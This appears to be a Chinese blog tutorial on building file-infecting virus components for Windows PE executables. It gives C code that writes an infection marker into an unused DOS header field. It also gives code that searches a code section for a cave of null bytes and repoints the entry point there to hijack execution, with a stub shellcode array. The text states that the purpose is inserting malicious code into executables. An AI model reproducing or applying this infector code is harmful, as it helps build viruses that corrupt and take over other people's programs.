C/C++ 感染标志与空字节感染
2023-02-18 16:46:24 时间
C/C++ 通过搜索PE结构中的空隙部分,对指定文件写入感染标志,作用是,如果程序被感染过则不再继续感染,而搜索空字节,则是要将恶意代码动态的填充到可执行文件中,并劫持执行流,以下代码就是这两种代码的具体实现方式。
设置文件感染标志: PE文件中有很多字段并没有使用到,我们可以在内部写入参数,实现检查是否被感染.
#include <stdio.h>
#include <stddef.h>
#include <windows.h>
#define VIRUSFLAGS 0xCCCC
// 向指定文件写入感染标志
BOOL WriteSig(DWORD dwAddr, DWORD dwSig, HANDLE hFile)
{
DWORD dwNum = 0;
SetFilePointer(hFile, dwAddr, 0, FILE_BEGIN);
WriteFile(hFile, &dwSig, sizeof(DWORD), &dwNum, NULL);
return TRUE;
}
// 检查文件是否被感染
BOOL CheckSig(DWORD dwAddr, DWORD dwSig, HANDLE hFile)
{
DWORD dwSigNum = 0;
DWORD dwNum = 0;
SetFilePointer(hFile, dwAddr, 0, FILE_BEGIN);
ReadFile(hFile, &dwSigNum, sizeof(DWORD), &dwNum, NULL);
if (dwSigNum == dwSig)
return TRUE;
return FALSE;
}
int main(int argc, char* argv[])
{
HANDLE hFile,hMap = NULL;
LPVOID lpBase = NULL;
hFile = CreateFile("c://1.exe",GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
hMap = CreateFileMapping(hFile,NULL,PAGE_READWRITE,0,0,0);
lpBase = MapViewOfFile(hMap,FILE_MAP_READ | FILE_MAP_WRITE,0,0,0);
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBase;
PIMAGE_NT_HEADERS pNtHeader = NULL;
PIMAGE_SECTION_HEADER pSec = NULL;
IMAGE_SECTION_HEADER imgSec = { 0 };
if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
{
printf("文件非可执行文件 \n");
return -1;
}
pNtHeader = (PIMAGE_NT_HEADERS)((BYTE*)lpBase + pDosHeader->e_lfanew);
// 写入感染标志
WriteSig(offsetof(IMAGE_DOS_HEADER, e_cblp), VIRUSFLAGS, hFile);
system("pause");
return 0;
}
空字节搜索与感染: 找到可执行文件中的空域字节,并进行写入跳转命令,劫持程序流。
#include <stdio.h>
#include <stddef.h>
#include <windows.h>
// \xb8\x90\x90\x90\x90 => mov eax,90909090
// \xff\xe0\x00 => jmp eax
char shellcode[] = "\x90\x90\x90\x90\xb8\x90\x90\x90\x90\xff\xe0\x00";
// 缝隙的搜索从代码节的末尾开始搜索,有利于快速搜索到缝隙
DWORD FindSpace(LPVOID lpBase, PIMAGE_NT_HEADERS pNtHeader)
{
// 跳过可选头长度的数据
PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)
(((BYTE *)&(pNtHeader->OptionalHeader) + pNtHeader->FileHeader.SizeOfOptionalHeader));
// 获取到文件末尾的位置
DWORD dwAddr = pSec->PointerToRawData + pSec->SizeOfRawData - sizeof(shellcode);
dwAddr = (DWORD)(BYTE *)lpBase + dwAddr;
LPVOID lp = malloc(sizeof(shellcode));
memset(lp, 0, sizeof(shellcode));
while (dwAddr > pSec->Misc.VirtualSize)
{
int nRet = memcmp((LPVOID)dwAddr, lp, sizeof(shellcode));
if (nRet == 0)
return dwAddr;
dwAddr--;
}
free(lp);
return 0;
}
int main(int argc, char* argv[])
{
HANDLE hFile,hMap = NULL;
LPVOID lpBase = NULL;
hFile = CreateFile("c://1.exe",GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
hMap = CreateFileMapping(hFile,NULL,PAGE_READWRITE,0,0,0);
lpBase = MapViewOfFile(hMap,FILE_MAP_READ | FILE_MAP_WRITE,0,0,0);
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBase;
PIMAGE_NT_HEADERS pNtHeader = NULL;
PIMAGE_SECTION_HEADER pSec = NULL;
IMAGE_SECTION_HEADER imgSec = { 0 };
pNtHeader = (PIMAGE_NT_HEADERS)((BYTE*)lpBase + pDosHeader->e_lfanew);
DWORD dwAddr = FindSpace(lpBase, pNtHeader);
pNtHeader->OptionalHeader.AddressOfEntryPoint = dwAddr;
UnmapViewOfFile(lpBase);
CloseHandle(hMap);
CloseHandle(hFile);
system("pause");
return 0;
}
相关文章
- PS2022软件安装包+安装教程(mac+windows全版本都有,包括最新的2023)
- PS CC 2019软件安装教程(mac+windows全版本都有,包括最新的2023)
- 最新ps2021软件绿色版安装教程 附软件安装包(mac+windows全版本都有)
- 撤销git commit
- godot使用简介
- 嵌入式:Load/Store之单寄存器的存取指令
- 开源项目 Spartacus 的 git 提交流程规范
- 开源项目 Spartacus 的 git 分支使用规范
- C++中的引用处理
- 在CentOS8中安装gitlab
- 9个嵌入式硬件转软件小技巧
- VS code搭建 C 和 C++ 环境的完整图文教程!
- 一文读懂Go函数调用
- 举例说明嵌入式框架该如何分层
- 嵌入式开发如何统计运行占据内存
- C++内存模型,我们常说的堆栈究竟指什么?
- 原来C++变量在内存中不是紧密排列的,聊聊内存对齐
- PowerPoint LTSC 2021 for Mac(ppt演示工具)
- Golang比php开发好在哪?
- C++——拷贝构造和 运算符重载